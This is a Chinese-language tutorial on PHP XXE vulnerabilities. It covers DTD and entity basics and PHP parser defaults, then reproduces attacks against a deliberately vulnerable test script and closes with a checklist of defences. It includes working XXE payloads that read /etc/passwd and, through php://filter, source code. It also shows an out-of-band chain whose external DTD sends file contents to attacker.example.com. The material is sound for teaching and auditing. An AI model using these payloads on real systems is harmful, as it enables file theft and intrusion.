☰
PHP XXE漏洞深度解析:从DTD原理、文件读取到防御实践
2026/10/17 4:27:40 网站建设 项目流程

做安全测试这些年,我见过不少开发者对 XXE 漏洞的第一反应是“不就是一个 XML 解析的问题吗”。但真到排查线上事故、做代码审计的时候,这个漏洞往往藏得比想象中深。尤其是那些还在用老版本解析库、或者把用户输入直接丢进 XML 解析器的系统,几乎一打一个准。OWASP 把 XXE 排进 TOP 10 不是没有道理的,它不只是“能读个文件”这么简单,很多时候它可以直接打通内网、触达服务器上的敏感配置,甚至变成 RCE 的跳板。

这篇文章我会从 XML 语法和 DTD 开始,把 XXE 的原理、PHP 侧相关的解析函数、实际注入读取文件的完整过程,以及最后怎么防御,一层层拆开讲。不绕弯子,直接对着实操讲。适合刚接触 Web 安全的开发者和安全工程师参考,如果你是做代码审计或者漏洞排查的,里面几段关于 PHP 版本差异和编码踩坑的记录,应该能帮你省不少时间。

1. XML语法与DTD:理解XXE的第一块垫脚石

1.1 XML的基本语法:不只是“长得像HTML”那么简单

要理解 XXE,先得看懂 XML。很多开发者觉得 XML 无非就是标签套标签,跟 HTML 差不多,这个认知在平时写配置文件的场景下没问题,但在解析场景下会吃大亏。XML 的语法规则其实比 HTML 严格得多,标签必须闭合、属性必须加引号、大小写敏感,甚至一个特殊字符没转义,整份文档就直接解析失败。

一个最基础的 XML 长这样:

<?xml version="1.0" encoding="UTF-8"?> <user> <name>张三</name> <age>18</age> </user>

第一行是 XML 声明,告诉解析器“我用的什么版本、什么编码”。接下来是根元素<user>,它必须只有一个,里面可以嵌套子元素。XML 的树形结构虽然直观,但真正的重点是:XML 规范允许文档里出现一种叫做“DTD”的东西,而 DTD 才是 XXE 真正的舞台。

DTD 全称是 Document Type Definition,它可以在 XML 文档内部声明,也可以引用外部文件。它本身是用于定义文档结构合法性的,比如“user 元素必须有 name 和 age 两个子元素”。但问题在于,DTD 里可以声明实体,而实体可以引用外部资源。XML 解析器在处理文档时,会按照 DTD 的声明去加载这些资源,加载行为一旦被恶意利用,就成了 XXE。

用生活化一点的说法来理解:XML 是一份“表单”,DTD 是“填表说明”,而实体就是说明书里的“宏”。填表的人拿到说明书,照着宏定义去展开内容,如果宏定义写着“去服务器某个文件里读取内容”,那么解析过程就会老老实实把那个文件内容搬进来。这个机制本意是好的,用来复用内容、简化文档,但在不可信输入场景下,就是漏洞的根源。

1.2 DTD声明类型与数据类型:内部DTD和外部DTD的区别

DTD 的声明有两种位置:内部子集和外部子集。内部子集直接写在 XML 文档里,用<!DOCTYPE 根元素 [...]>包裹;外部子集则是引用一个独立的.dtd文件,写法是用SYSTEM关键字带上文件路径或 URL。

<!-- 内部DTD --> <!DOCTYPE user [ <!ELEMENT user (name, age)> <!ELEMENT name (#PCDATA)> <!ELEMENT age (#PCDATA)> ]> <!-- 外部DTD --> <!DOCTYPE user SYSTEM "http://example.com/user.dtd">

看到SYSTEM这个关键字就要敏感起来。它表示加载外部资源,而这个资源既可以是远程 URL,也可以是本地文件路径。XXE 的“文件读取”能力,本质上就是依赖这个关键字。

数据类型方面,DTD 里常见的元素类型有EMPTY(空元素)、(#PCDATA)(纯文本内容)、(#PCDATA | 子元素)*(混合内容)等,属性类型则包括 CDATA、ID、IDREF、ENUMERATED 等。这些类型本身没有安全问题,问题出在实体上。实体的类型才是 XXE 利用的核心,具体差异我放到下一小节展开。

1.3 实体的分类与作用:普通实体、外部实体和参数实体

DTD 里的实体可以理解为“变量”或者“宏”。声明之后,在文档其他地方用&实体名;引用,解析时会被替换成实体的值。实体分三类,每一类在 XXE 中的角色不同:

实体类型声明位置引用方式XXE 利用价值
内部实体内部或外部 DTD&实体名;低,只是替换文本
外部实体内部或外部 DTD&实体名;高,可加载文件或 URL
参数实体仅在 DTD 内部%实体名;高,常用于构造嵌套利用

普通内部实体的写法是<!ENTITY name "value">,解析时把&name;替换成value,这个机制本身人畜无害。危险的是外部实体:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>

解析到&xxe;时,解析器会把/etc/passwd的内容当作实体值替换进文档,如果应用随后把解析结果输出到页面上,文件内容就泄露了。参数实体则是用来在 DTD 内部继续引用其他实体,常用于构造“无回显 XXE”的外带数据通道,后面实操部分我会再提。

2. XXE漏洞原理与攻击面:为什么一个“声明”能变成致命武器

2.1 漏洞根源:解析器默认信任外部实体加载

理解 XXE 原理,关键要明白一个词——“信任”。XML 规范允许文档自己声明要加载哪些外部资源,而历史上有相当一部分 XML 解析器在默认配置下会照单全收,不限制协议、不校验来源。也就是说,攻击者提交的 XML 文档里写着“帮我去读一下这个文件”,解析器就去读了;写着“帮我去访问一下这个内网地址”,解析器也照做。

我拿一个场景举例。某系统有个功能,允许用户上传一份 XML 格式的订单文件,后台用 PHP 的simplexml_load_string()解析后存入数据库。开发者的预期是解析订单数据,但解析器在执行时优先处理了 DTD 里的实体声明。攻击者提交这样的 payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE order [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <order> <item>&xxe;</item> </order>

后端代码如果直接把某个字段的解析结果打印到日志或页面上,/etc/passwd的内容就跟着订单数据一起被带了出来。整个过程,开发者写的业务代码一行没改,只是“信任”了 XML 规范里的外部实体加载机制。

为什么这个漏洞能排到 OWASP TOP 10?因为它触及的是解析器的底层行为,业务代码几乎不需要“写错”什么。任何把 XML 解析用在不可信输入上的场景,都有可能中招。这也是我在做代码审计时最头疼的地方——有时候开发人员只是图省事,拿 XML 做数据交换格式,结果整个接口变成了文件读取器。

2.2 XXE的两种利用形态与攻击面梳理

XXE 的利用形态大体分两类:有回显和无回显。

有回显的利用最直接,解析后的 XML 内容会被应用以某种方式展示出来,比如页面渲染、接口返回、日志打印、导出文件等。攻击者只需要把外部实体引用放在会被展示的字段位置,文件内容就跟着响应返回。这类利用在自测时最直观,我在实操部分会用这种方式演示完整链路。

无回显场景则麻烦一些。解析结果不外显,但解析过程仍在执行,这时可以利用“外部实体请求外发”的特性,把文件内容通过构造好的 URL 带出去。原理上用参数实体拼一个请求地址,把目标文件内容作为 URL 的一部分发送到攻击者可控的服务器。比如/etc/passwd的内容经过换行转义后拼进 URL,攻击者的服务器访问日志里就能看到泄露的数据。当然,不同解析器和协议对 URL 长度、特殊字符有限制,实际利用时通常需要配合编码或分批外带。

至于攻击面,凡是接收 XML 并解析的地方都是潜在入口。典型场景包括:XML-RPC 接口、SOAP 服务、文档转换服务、RSS/Atom 导入、Office 文件解析、SVG 上传、配置文件导入、甚至某些移动 App 与服务端同步数据的私有协议。我之前接触过的一个模拟项目里,攻击者就是通过一个“简历解析”功能,上传了一份内嵌恶意 DTD 的 XML 简历,直接读出了服务器上的数据库配置文件。

3. PHP解析XML函数的风险解剖:从simplexml到DOMDocument

3.1 高频解析函数对比与默认行为差异

PHP 生态里操作 XML 的函数不少,但绝大多数 XXE 都是通过下面几个入口触发的:simplexml_load_string()、simplexml_load_file()、DOMDocument::loadXML()、DOMDocument::load(),以及少数场景下会用到的XMLReader和SimpleXMLIterator。

这几个函数在历史上默认都会解析 DTD 和实体。libxml_disable_entity_loader(true)曾经是 PHP 侧最常用的防御手段,从 PHP 8.0 开始这个函数被标记为弃用,因为底层 libxml 库的行为变了——外部实体加载默认被禁用。这个版本差异非常关键,我在 3.2 小节单独说。

simplexml_load_string是最容易出问题的入口,它把字符串解析成 SimpleXMLElement 对象,对开发者友好,但也意味着攻击者构造的 DTD 声明会被完整执行。DOMDocument::loadXML同样是完整解析,并且提供了更多底层接口,攻击者可以更灵活地控制实体引用方式。XMLReader是流式读取,性能好,但如果开了XMLReader::setParserProperty里的相关选项,一样有风险。

函数/类默认是否解析外部实体典型风险场景
simplexml_load_string老版本默认是上传 XML、接口接收 XML
simplexml_load_file老版本默认是加载远程或本地 XML 文件
DOMDocument::loadXML老版本默认是自定义 XML 报文处理
DOMDocument::load老版本默认是文档导入、模板渲染
XMLReader默认相对安全大文件流式解析时误开选项

3.2 PHP版本更替带来的“防御错觉”

这里必须给做 PHP 开发的读者提个醒:网上大量 XXE 防御文章写的都是libxml_disable_entity_loader(true),但你在 PHP 8.0 以上的环境里照抄会失效,甚至直接报 deprecation 警告。

PHP 8.0 之前,libxml 默认会加载外部实体,所以这个函数确实是关键防线。但 PHP 8.0 以后,底层行为调整,外部实体加载默认关闭,这个函数被弃用。麻烦的是,很多项目代码是在 PHP 7 时代写的防御逻辑,升级到 PHP 8 之后防御逻辑没了效果,但项目里仍然存在 XML 解析入口——这会导致开发者以为“我加了防护”,实际上防护代码已经不再生效。

我实际测试过一组对比:在 PHP 7.4 环境跑simplexml_load_string解析带外部实体的 XML,文件内容会被读出来;同一段代码在 PHP 8.1 环境跑,外部实体不再被加载,解析器直接忽略 DTD 里的实体声明。这个变化本身是好事,但如果你在 PHP 8 环境仍依赖旧的“禁用函数”写法,等于把安全寄托在已经被移除的行为上。

正确的做法是:无论哪个版本,都显式使用libxml_set_external_entity_loader指定一个拒绝所有请求的加载器,或者在创建解析器时设置LIBXML_NONET选项(禁止网络访问)。更彻底的做法是先做输入校验,见第 6 章。

4. 实操复现:构造Payload读取目标文件

4.1 本地测试环境搭建

纸上谈兵不解决问题,我把整个 XXE 读取文件的过程完整跑了一遍。测试环境用 PHP 内置服务器就行,不需要装额外组件。我用的目录结构是一个简单的index.php,模拟某个接受 XML 的接口:

<?php $xml = file_get_contents('php://input'); if (empty($xml)) { $xml = $_POST['data'] ?? ''; } $data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); echo "解析结果:"; var_dump($data);

这里故意传了LIBXML_NOENT(将实体替换为内容),是为了模拟“老版本 PHP 或开发者主动开启实体替换”的真实场景。默认情况下,如果$xml来自不可信输入,这段代码就是典型的 XXE 入口。

启动方式:

php -S 127.0.0.1:8080

用 curl 直接发请求,测试 payload。

4.2 文件读取Payload的完整链路

先测最简单的文件读取。构造如下 XML:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>

curl 发送:

curl -X POST http://127.0.0.1:8080/index.php \ -H "Content-Type: application/xml" \ -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'

响应里var_dump($data)会输出一个SimpleXMLElement对象,内容被替换成了/etc/passwd的完整内容。如果接口是直接把某些字段回显,比如 JSON 接口,那泄露的就是 JSON 响应里的字符串字段。

这里有个容易被忽略的点:常见的 Linux 文件路径没问题,但 Windows 环境下路径写法不一样,C:\windows\win.ini在 XML 实体里要写成file:///C:/windows/win.ini,盘符大小写也有讲究。我在测试时踩过一次,路径写不对解析器会直接报错,而不是返回空内容。

读配置文件时,很多文件内容里带有特殊字符或者不符合编码规范,直接当实体值是会解析失败的。比如读取源码文件时,里面的<、>、&会破坏 XML 结构。这时候可以用 PHP 流过滤器编码:

<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> <foo>&xxe;</foo>

这样实体值里只有 base64 字符,不会破坏 XML 文档结构,拿到内容后本地再解码。这个技巧在处理实际目标时几乎必用,因为目标文件基本都不可能是干净的 XML 文本。

4.3 无回显场景的思路补充与常见问题

很多实际漏洞是无回显的,页面返回“解析成功”但看不到实体内容。这时候用带外数据通道,核心思路是借助参数实体把目标文件内容拼接到一个 URL 请求里:

<!DOCTYPE foo [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % dtd SYSTEM "http://attacker.example.com/evil.dtd"> %dtd; ]> <foo>1</foo>

外部evil.dtd里再定义把%file;的值拼进请求:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.example.com/?content=%file;'>"> %all; %send;

攻击者的服务器上开个 HTTP 日志监听,目标文件内容就会出现在请求 URL 里。这个链路比较复杂,实际操作时还要处理换行符、URL 编码等细节,我在测试中遇到最多的坑是文件内容过大导致 URL 超限,解决方案是只读文件前几行,或者拆分成多段外带。

报错现象常见原因排查思路
解析失败无输出文件内容含特殊字符破坏 XML 结构改用 base64 过滤器
实体没有被替换解析器默认禁用外部实体检查LIBXML_NOENT或 PHP 版本
请求外带无日志参数实体嵌套声明语法错误确认 DTD 内实体引用格式
返回空白内容读取目标文件无权限换/etc/hosts等可读文件验证

5. 我踩过的坑:常见问题与排查实录

5.1 文件路径与编码的细节坑

XXE 读取文件,坑最多的不是 payload 写错,而是目标环境的细节。编码就是最典型的一个。解析器默认按 UTF-8 处理 XML,如果目标文件是 GBK 编码,读进来之后实体值是一串乱码,回显到页面上也看不出问题。我早期测试时读取某个项目的配置文件,内容是 GBK 编码,回显在页面上全是乱码,我以为利用失败了,后来用脚本把响应转码才看到真实内容。

解决办法很粗暴:不要直接读原始文件,先用php://filter转成 base64,配合convert.iconv也可以,但 base64 最省事,而且能同时解决特殊字符破坏 XML 结构的问题。

路径问题同样隐蔽。file:///etc/passwd在 Linux 上稳定,但有些解析器对 URL 格式要求严格,写成file://etc/passwd会解析失败。Windows 环境的路径写法我已经在第 4 章提过,这里再补一个坑:目标文件路径带空格时,实体值里直接写会在解析时出错,即便文件存在也读不出来。

5.2 版本差异导致的“假失败”

另一个高频坑是版本差异。同样的 payload,在这台机器上读不出文件,换一台机器就成功了,很多人以为是自己 payload 有问题,其实是解析器版本不同。

我碰到过一个具体案例:一个模拟项目里,后端 PHP 版本从 7.4 升到 8.1,升级前测试 XXE 能读文件,升级后同一个接口同样的 payload 不再有反应。表面上看是“漏洞被修复了”,实际是解析器默认行为变了。问题是,如果应用不止一个 XML 解析入口,某些入口显式设置了实体加载相关的选项,PHP 8 环境仍然可能出问题。所以排查 XXE 时,不要一看到“默认禁用”就觉得安全,要确认所有解析点上有没有主动开启实体替换的代码。

5.3 回显位置不直观的排查思路

有些接口虽然会解析 XML,但业务代码只取其中几个字段,比如只处理<order><amount>100</amount></order>里的amount。攻击者如果只在<note>字段里放实体引用,而业务代码根本不读note,那文件内容就不会泄露。

排查这类情况时,我会把所有解析后的字段都检查一遍,或者故意在所有可能被处理的字段里都放上实体引用。更快的方式是看接口会不会把整个对象序列化输出,比如json_encode($data),如果有,那任何一个字段的实体被替换后都会暴露。实操时也可以直接用php://filter读取当前脚本本身,从响应差异判断哪些字段被解析器实际处理了。

6. 防御体系落地与验证:不只靠一个“禁用函数”

6.1 代码层防御与配置调整

代码层要做到两件事:禁用外部实体加载、禁止网络访问。PHP 里最干净的做法是从源头控制加载器:

libxml_set_external_entity_loader(function ($public, $system, $context) { throw new Exception("外部实体加载被禁止"); });

这段代码放在 XML 解析入口之前,任何外部实体请求都会抛出异常。与此同时,解析时加LIBXML_NONET选项,禁止 XML 解析器发起网络请求:

$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NONET);

如果应用中确实需要解析合法的 XML,但不需要 DTD 和实体,可以考虑在解析前过滤掉<!DOCTYPE和<!ENTITY声明。这个方案比较粗暴,但对简单场景有效。需要注意的是,过滤方案容易被编码绕过绕过,比如用大小写混合字符或编码混淆,所以它只能作为辅助手段,不能当主防线。

6.2 输入层与架构层防御

更重要的防线在输入层。XML 内容进入解析器之前,先判断它的来源是否是可信的。对内外部接口的 XML 报文,建立 DTD 白名单:如果业务根本不需要 DTD,直接拒绝任何带<!DOCTYPE的请求。需要 DTD 的场景,把合法的 DTD 文件放在服务端本地,只允许引用白名单内的 DTD,不允许引用任意 URL 或文件路径。

协议白名单也值得做。XXE 能读取文件靠的是file://协议,能访问内网靠的是http://协议,那么在解析器前面就限制实体的 URL 协议类型。比如只允许https://特定域名,其他一律拒绝。这类逻辑可以写在libxml_set_external_entity_loader的回调里,判断$system参数的前缀。

架构层面的防御更彻底:不要用通用 XML 解析器处理业务数据。如果只是传结构化数据,直接用 JSON 完全足够。XML 在 Web 接口里并不比 JSON 更有优势,反而把解析复杂度、DTD 隐患全都带了进来。我在做安全评审时经常建议开发团队:新接口默认用 JSON,老接口保留 XML 的话必须走网关层统一的清洗逻辑。

6.3 防御有效性验证清单

写完防御代码,要验证真的防住了,不能光看“没有报错”。我整理了一份清单,每做一次防御改动就按这个过一遍:

验证项预期结果验证方法
外部实体读取本地文件被拒绝或返回空提交 file:///etc/passwd payload
外部实体访问内网被拒绝或超时提交 file:///etc/hosts 或内网地址 payload
外部实体访问外网被拒绝或超时提交 http://公网地址 payload
正常 XML 解析不影响业务提交无 DTD 的合法业务报文
参数实体嵌套被拒绝提交带 %file; 和外部 DTD 的 payload

每次验证完,确认两点:恶意请求没有读取到数据,合法请求没有被误伤。这两点缺一不可。我见过一些团队把防御做死了,所有 XML 请求直接拒绝外部实体,但业务恰好有一个功能需要接收第三方系统推送的带 DTD 的 XML,导致线上故障。好的防御是精确拦截,不是一刀切禁止。

我个人的经验是,XXE 防御没有“配好一次就一劳永逸”的说法。每次 PHP 版本升级、解析库变更、新接口上线,都要重新过一遍验证清单。尤其是现在很多项目都在逐步升级到 PHP 8,旧的防御代码到底还有没有效,很多人其实说不清。把验证清单挂在 CI 里,每次变动自动跑一遍 XXE payload,是最不容易翻车的方式。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询